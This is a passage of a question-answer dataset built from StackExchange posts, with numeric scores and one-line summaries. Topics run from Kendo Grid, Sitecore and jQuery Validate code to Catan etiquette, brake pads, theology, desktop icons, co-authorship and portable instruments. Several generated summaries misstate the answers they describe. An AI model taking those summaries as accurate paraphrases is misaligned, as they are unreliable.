columns.Bound(x => x.UpdatedOn).Title("Updated");
columns.Command(command => { command.Edit(); command.Destroy(); });
})
.Editable(editable => editable.Mode(GridEditMode.PopUp).TemplateName("_OrgDefinedFieldEdit"))
.Pageable()
.Sortable()
.DataSource(dataSource => dataSource
.Server()
.Model(model => model.Id(x => x.FieldId))
.Update(update => update.Action("Update", "Home"))
.Destroy(destroy => destroy.Action("Destroy", "Home"))
)
)
As you can see I am populating it, by default, with the first item in a list of data.
I then have this:
$(window).load(function () {
$(".LevelSelector:first").click();
});
Which calls the following function:
$(".LevelSelector").click(function () {
var rootString = $(this).html();
var splitString = rootString.split("-");
var levelGuid = $(this).attr("LevelGuid").toString();
$("#LevelEditName").text($.trim(splitString[0]));
$("#LevelEditInput").val($.trim(splitString[1]));
$("#CreatedOn").text($(this).attr("CreatedDate"))
$("#CreatedBy").text($(this).attr("CreatedBy"))
$("#UpdatedOn").text($(this).attr("UpdatedDate"))
$("#SelectedLevelGuid").text(levelGuid)
var Url = '@Url.Action("GetLevelFields", "OrganisationAJAX")' + '?LevelGuid=' + levelGuid;
$.ajax({
url: Url,
contentType: "application/json; charset=utf-8",
type: 'POST',
context: this,
timeout: 60000,
dataType: 'json',
tryCount: 0,
retryLimit: 3,
success: function (data) {
var grid = $("#DefinedlevelsGrid").data("kendoGrid");
grid.dataSource.data(data);
},
error: function (httpRequest, textStatus, errorThrown) {
$(".Message").text("Error: " + textStatus + " " + errorThrown);
}
});
});
The first part is populating another part of the page and then it does an AJAX call to go and get the data. On success it populates the grid.
That all works.
But when I click on edit it doesn't load the grid. It does move to the top of the page so I know it is firing.
If I stop the pre population by AJAX it does load up the template so I know the template isn't at fault.
Does anyone have any ideas?
Many thanks in advance.
|
In vcase anyone else sees this, I fixed it by changing .Server to .Ajax.
So it would look like this:
@(Html.Kendo().Grid(Model.Where(x => x.OrgLevel == 0).First().DefinedFieldsList)
.Name("DefinedlevelsGrid")
.Columns(columns =>
{
columns.Bound(x => x.FieldName).Title("Name");
columns.Bound(x => x.FieldTypeText).Title("Type");
columns.Bound(x => x.isMandatory).Title("Mandatory");
columns.Bound(x => x.DefaultValue).Title("Default Value");
columns.Bound(x => x.UpdatedOn).Title("Updated");
columns.Command(command => { command.Edit(); command.Destroy(); });
})
.Editable(editable => editable.Mode(GridEditMode.PopUp).TemplateName("_OrgDefinedFieldEdit"))
.Pageable()
.Sortable()
.DataSource(dataSource => dataSource
.Ajax() //<------- Changed to .Ajax()
.Model(model => model.Id(x => x.FieldId))
.Update(update => update.Action("Update", "Home"))
.Destroy(destroy => destroy.Action("Destroy", "Home"))
)
| 0.833333 |
Changed to .Ajax
|
Extending Internal Link and External Link to allow selection of Images
|
I need to extend selection of external and Internal Link and provide a image selection.
Please see the snapshot in the below :
Here the above snapshot allows you to add properties for External Link.In the same popup can we add a field Called Image(as shown in screenshot) which will allow user to select images from the media library??
Thanks,
Suhas
|
If you are using Sitecore 7.2 and want to update internal link then you need to do with Sitecore speak and in case of external link simply update under /shell/Applications/Dialogs/ExternalLink folder.
To render this field create CustomLinkRenderer class and inheri this class by LinkRenderer of Sitecore.Kernel.dll.
Please see below code for CustomLinkRenderer
public class CustomLinkRenderer : LinkRenderer
{
public CustomLinkRenderer(Item item)
: base(item)
{
}
public override RenderFieldResult Render()
{
string str8;
SafeDictionary<string> dictionary = new SafeDictionary<string>();
dictionary.AddRange(this.Parameters);
if (MainUtil.GetBool(dictionary["endlink"], false))
{
return RenderFieldResult.EndLink;
}
Set<string> set = Set<string>.Create(new string[] { "field", "select", "text", "haschildren", "before", "after", "enclosingtag", "fieldname" });
LinkField linkField = this.LinkField;
if (linkField != null)
{
dictionary["title"] = StringUtil.GetString(new string[] { dictionary["title"], linkField.Title });
dictionary["target"] = StringUtil.GetString(new string[] { dictionary["target"], linkField.Target });
dictionary["class"] = StringUtil.GetString(new string[] { dictionary["class"], linkField.Class });
}
string str = string.Empty;
string rawParameters = this.RawParameters;
if (!string.IsNullOrEmpty(rawParameters) && (rawParameters.IndexOfAny(new char[] { '=', '&' }) < 0))
{
str = rawParameters;
}
if (string.IsNullOrEmpty(str))
{
Item targetItem = this.TargetItem;
string str3 = (targetItem != null) ? targetItem.DisplayName : string.Empty;
string str4 = (linkField != null) ? linkField.Text : string.Empty;
str = StringUtil.GetString(new string[] { str, dictionary["text"], str4, str3 });
}
string url = this.GetUrl(linkField);
if (((str8 = this.LinkType) != null) && (str8 == "javascript"))
{
dictionary["href"] = "#";
dictionary["onclick"] = StringUtil.GetString(new string[] { dictionary["onclick"], url });
}
else
{
dictionary["href"] = HttpUtility.HtmlEncode(StringUtil.GetString(new string[] { dictionary["href"], url }));
}
// Add onclick attribute for Google event tracking
dictionary["onclick"] = LinkField.GetAttribute("on_click");
StringBuilder tag = new StringBuilder("<a", 0x2f);
foreach (KeyValuePair<string, string> pair in dictionary)
{
string key = pair.Key;
string str7 = pair.Value;
if (!set.Contains(key.ToLowerInvariant()))
{
FieldRendererBase.AddAttribute(tag, key, str7);
}
}
tag.Append('>');
if (!MainUtil.GetBool(dictionary["haschildren"], false))
{
if (string.IsNullOrEmpty(str))
{
return RenderFieldResult.Empty;
}
tag.Append(str);
}
return new RenderFieldResult { FirstPart = tag.ToString(), LastPart = "</a>" };
}
}
You need to extend this class as per your need to render image.
| 0.777778 |
CustomLinkRenderer class for internal link
|
Is pretending to want to trade before playing a monopoly card objectionable?
|
In Settlers of Catan, I sometimes try to ask people if they want to trade a certain resource, tricking them into revealing the approximate amount of that resource in everyone's hand. After this I play the monopoly card. This has on some occasions not been received very well.
Is this fair play?
|
This is the most EVIL play in the game.
It is legal though. Just very very EVIL. So EVIL that many people get mad when you do it.
It is very frowned on at my table. If you do it most players will not even acknowledge your trade attempts in the future.
| 1 |
Most EVIL play in the game
|
jQuery Validation not validating on button click
|
I have the following JavaScript function:
$('div.nextStepBilling').click(function (e) {
if ($(this).parent().parent().attr("id") == "newCardDiv") {
$('form#myForm').validate({
rules: {
cardHolder: "required",
cardNumber: {
required: true,
minlength: 15,
maxlength: 16
},
CVV: {
required: true,
minlength: 3,
maxlength: 4
}
},
messages: {
cardHolder: "Card holder name is required",
cardNumber: {
required: "Credit card number is required",
minlength: "Credit card must be at least 15 digits long",
maxlength: "Credit card must be at most 16 digits long"
},
CVV: {
required: "CVV (security code) is required",
minlength: "CVV must be at least 3 digits long",
maxlength: "CVV must be at most 4 digits long"
}
}
});
if ($('form#myForm').valid()) {
alert("valid");
} else {
alert("invalid");
}
}
});
When I click on the proper div.nextStepBillingit always alerts valid, even if there is nothing in those inputs.
I don't get any errors in the console and I can get jquery validate to work using $('form#myForm').validate().element("#cardHolder"); I have the latest jquery and jquery validate packages included (in proper order) on the page. Can anyone see anything wrong with the above code?
|
Your problem is here:
$('div.nextStepBilling').click(function (e) {
if ($(this).parent().parent().attr("id") == "newCardDiv") {
$('form#myForm').validate({
// rules & options
...
Because .validate() is only the initialization method of the plugin, it is not the testing method. The .validate() method only gets called once on DOM ready to initialize the plugin with your rules & options. All subsequent calls are ignored.
You would use the .valid() method to programmatically trigger a validation test on demand.
Your code should look more like this...
$(document).ready(function() {
$('form#myForm').validate({ // initialize the plugin
// rules & options
});
$('div.nextStepBilling').click(function (e) {
if ($(this).parent().parent().attr("id") == "newCardDiv") {
$('form#myForm').valid(); // triggers a test on the form
...
Simple DEMOS: http://jsfiddle.net/zSq94/ and http://jsfiddle.net/zSq94/1/
| 1 |
.validate() is only the initialization method of the plugin, but not the testing method
|
What is the difference between different types of disc brake pads
|
I've seen several different descriptors for disc brake pads: Metallic, Semi-Metallic, and Organic. What is the difference between these types of disc brake pads?
|
Youll run into two types of metallic pads- sintered metallic and semi-metallic. The term "metallic" without any modifier gets used for a couple of reasons- a) many manufacturers don't offer both varieties of metallic pads for a given brake, so the type is implicit, and b) lots of folks don't know the difference or think the terms are interchangeable. They are similar, but different:
Sintered metallic pads offer the best stopping power, but also cause the most rotor wear and can make the most noise, especially when wet. They are also the least affected by adverse conditions. Sintered metallic are typically used in downhill/freeride applications, but can be used for less demanding riding types as well. Depending on the setup, sintered pads can feel "grabby", that is, that they lack modulation at the lever. That problem tends to arise on more powerful brakes with larger rotors though, and both of those factors play towards that perception.
Semi-metallics are a tradeoff between braking performance and pad wear/noise. They still stop very well but can be a little less noisy and cause a little less rotor wear. They may also offer better lever modulation than sintered metallic pads. This pad type can often be found on higher end all-mountain, trail, and cross country oriented brakes, though some manufacturers opt for sintered pads while others may opt for organics.
Organic pads are the kindest to your rotors and typically quitest, but don't offer the same bite as metallic pads. These pads also wear the quickest. This does not mean that they're low end pads though, and depending on conditions, riding style and personal preference they may be a great choice. Organic pads can offer the best lever modulation of the three pad types, but may not stop riders sufficiently in demanding circumstances.
| 1 |
Sintered metallic and semi-metallic are a tradeoff between braking performance and pad wear .
|
What is temptation?
|
Temptation, in the common secular sense, seems to indicate an attraction to something.
Temptation
The act of tempting
The condition of being tempted.
Something attractive, tempting or seductive; an inducement or enticement.
Pressure applied to your thinking designed to create wrong emotions which will eventually lead to wrong actions.
Tempting
attractive, appealing, enticing
seductive, alluring, inviting
Tempt
(transitive) To provoke someone to do wrong, especially by promising a reward; to entice. She tempted me to eat the apple.
(transitive) To attract; to allure. Its glossy skin tempted me.
(transitive) To provoke something; to court. It would be tempting fate.
But, as with many secular concepts that overlap religious concepts, there are often explicit theological definitions which allow the terminology to fit into religious, dogmatic, and theological discussions with less ambiguity. In this case, is there any predominating Christian/theological definition?
In particular, how is temptation defined or explained in such a manner that allows Christ to have been tempted?
To clarify the problem, if Christ is to be attracted to some thing, there must be some part or aspect of Christ to which some thing appeals. More significantly, Christ, in order to be tempted, must desire that thing if we are to say He is attracted to it. And if Christ is to contain a part or aspect to which some evil may be a temptation, thus arousing a desire, there could be said to be a sinful nature or component in Christ -- a contradiction of His Godliness.
To illustrate the problem, one might select magnetism (or any natural force) as a natural analogy. For the effect of magnetism (sin) to attract (tempt) a material (person), the material must contain, at least to some extent, a magnetic (sinful) component.
Thus, if we say that Christ is tempted in this understanding, we say that He has a sinful component.
How do we Christians, Catholics, or any denomination that has a well-established concept, define or explain temptation in a non-trivial manner without requiring Christ to have a sinful nature?
|
Temptation is one of those words that shows just how.... difficult English can be.
I am assuming that when you talk about the temptations and Christ, you are talking about the temptations that were apart of his 40 day fast and the ones immediately following that fast?
Now the scripture in Matthew reads:
Matt 4: 1,3 ) 1. Then was Jesus led up of the Spirit into the wilderness to be *tempted [sic] of the devil. 3. And when the tempter came to him he said, If thou be the Son of God, command that these stones be made bread.
So we have Jesus going up to be tempted, and we have the tempter coming to Him once he is done.
Now, as noted in your definitions, Temptation can be applied both as a adjective - when it describes a condition one is experiencing - and as a verb - when it describes an action. No where in these verses, does it apply temptation as an adjective that Christ is experiencing. In both verses it is being used in verbal form. First He is going out to be tempted, (be being key here to the verbal application of the word).
Then He is confronted with the tempter, again the verbal form of the word (though it can be confusing because here the verbal form is being used as a pronoun).
If you keep reading and come to Christ's responses, it is fairly evident that tempted is not a good adjective for how He feels when presented with the devil's offers.
Matt 4: 4,7,10) 4.But he answered and said, It is written, Man shall not live by bread alone, but by every word that proceedeth out of the mouth of God. 7. Jesus said unto him, It is written again, Thou shalt not tempt the Lord thy God. 10. Then saith Jesus unto him, Get thee hence, Satan: for it is written, Thou shalt worship the Lord thy God, and him only shalt thou serve.
None of Christ's answers show any desire to partake of the temptations, or that they provoke any sense of allure in the Savior. In fact He rather forcefully rejects the offers and then casts the tempter out of His presence.
So TL:DR While Christ is presented (verbal form) with temptations, He never feels (adjectival form) the temptations. Hence He does not have a sinful nature.
*As a side note, in verse 1 of my KJV of the bible the footnotes offer 'tried' or 'tested' as an alternate translation for 'tempted'. This seems to flow better with the fact that the devil shows up only after Christ comes back from the wilderness. (Again, that's just a note and my opinion on the whole scripture, and has nothing to do with my answer!)
| 0.888889 |
Temptation is one of those words that shows just how difficult English can be .
|
How do I stop Windows from moving desktop Icons?
|
I have two monitors connected to my computer. (same graphics card. One HDMI, the other DVI).
Whenever I do one of the following things, my icons move around on my desktop:
Play a Game
Turn off one monitor
When I stop playing the game or turn one of the monitors back on, Windows 7 does not properly restore the icon locations.
Is there is a way I can prevent Windows from moving my desktop icons around?
|
I figured out one way to handle this. I have an application I use (fences) which allows me to group all my icons. I already had most of my desktop icons grouped with this application and noticed that they restore properly. So, I just created a "Miscellaneous" group and threw all my stray icons in there. I don't like this solution, but it's the best one I can come up with since windows will not properly restore icons or allow me to turn that "feature" off. :P
| 1 |
How to group all my desktop icons?
|
When should a supervisor be a co-author?
|
What are people's views on this? To be specific: suppose a PhD student has produced a piece of original mathematical research. Suppose that student's supervisor suggested the problem, and gave a few helpful comments, but otherwise did not contribute to the work. Should that supervisor still be named as a co-author, or would an acknowledgment suffice?
I am interested in two aspects of this. Firstly the moral/etiquette aspect: do you consider it bad form for a student not to name their supervisor? Or does it depend on that supervisor's input? And secondly, the practical, career-advancing aspect: which is better, for a student to have a well-known name on his or her paper (and hence more chance of it being noticed/published), or to have a sole-authored piece of work under their belt to hopefully increase their chances of being offered a good post-doc position?
[To clarify: original question asked by MrB ]
|
First of all, this question must be decided by the adviser, not by the student.
The student must accept any decision if his/her adviser.
Most advisers that I know (mathematicians) will not co-author a paper with a student, if
the contribution of a student is substantial. But this depends on a person of course,
in particular on the adviser's own experience when s/he was a student.
For example, the first paper of Ahlfors was not written by himself (though the main idea was his). As a result, Ahlfors established a rule to never co-author his PhD student paper.
(He mentions this is his comments to his first paper in his Collected papers).
Myself, I try to follow this rule, but exceptions are possible.
| 0.888889 |
The student must accept any decision if his/her adviser co-authors a paper with a student .
|
Silent, extremely portable instrument to learn music
|
I am currently off work for more or less a month, so I decided it could be a great time to learn an instrument and how to compose some simple tunes.
I am 29, never played anything meaningful in my life, know very little to nothing about music theory but I can comfortably read notes on a score.
Asking a search engine for suggestions brought me to the music section of stackexchange and particulary to this question. After some thought I am planning to buy the Kaossilator 2 becase I feel/think:
it is not too expensive for me (less than 200$) (otherwise I would have fancied a Teenage engineering OP1;
it can be completely silent (commuting home->work->home takes quite a long time, I would like to be able to practice in crowded places (without annoying anyone);
it is extremely portable (for the above commuting);
it can be played even without being plugged to a pc (otherwise I would have chosen this korg nano keyboard);
it can study some music theory with it;
in some six months I will be able to show some decent performance with it (so to say, I hope it has a bit of depth and is not just a toy).
Since (as I said), I know nothing of music and musical instruments, I would like to have someone savvy to 'validate' my points; alternative suggestions/idead would be appreciated, too!
I am sorry I haven't 'linkified' but, as it is my first question, stackexchange only allows me to have two hyperlinks.
|
Electric instruments still make some noise, so if you must be absolutely silent, then I think you'll have to pick up something electronic. Otherwise, an electric ukulele is pretty compact and a lot of fun to play.
One possibility you didn't mention is applications for smartphones like iPhones. If you already have an Android or iOS device, there are a number of cheap applications that you can use for learning as well as creating music. I would recommend looking in the "Music" category for your app store and picking some things you like.
| 0.777778 |
Electric instruments make some noise, so pick up something electronic .
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.